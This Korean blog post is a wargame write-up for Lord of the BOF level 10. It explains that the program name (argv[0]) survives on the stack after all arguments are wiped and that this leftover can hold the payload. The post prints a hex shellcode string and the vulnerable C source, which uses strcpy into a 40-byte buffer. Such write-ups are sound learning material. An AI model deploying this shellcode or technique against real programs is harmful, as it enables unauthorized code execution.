zj3t

email: euntaejang@gmail.com

Latest Posts

LOB-level10

By 오후 12:41 ,

예전에 10을 풀다 어려워서 나중에 풀어야지 했는데 오늘 오전에 잠깐 시간내서 풀어봤습니다.

이 문제의 포인트는 argv[0], 즉 프로그램의 이름이 스택의 끝에 남아있는다는 점입니다.
그래서 argv들을 모두 초기화해도 스택에 프로그램의 이름이 남아있게 되는데 이를 이용해서 풀었습니다.

쉘코드는 "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"


를 이용했습니다. 제가 기존에 쓰던 쉘코드로는 풀리지 않았습니다. 저 쉘코드를 이용하니 한번에 풀렸습니다.


#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}

// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}

// argc saver
saved_argc = argc;

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}

저 빨간색 부분때문에 어려운 문제 였던 것 같습니다. argv들을 모두 초기화 하기 떄문에 스택에 argv[0]인 프로그램의 이름이 쓰여진다는 것을 모르는 풀기 힘들 것 같습니다.







여기 스택에 프로그램의 이름이 쓰여있습니다.



You Might Also Like

0 개의 댓글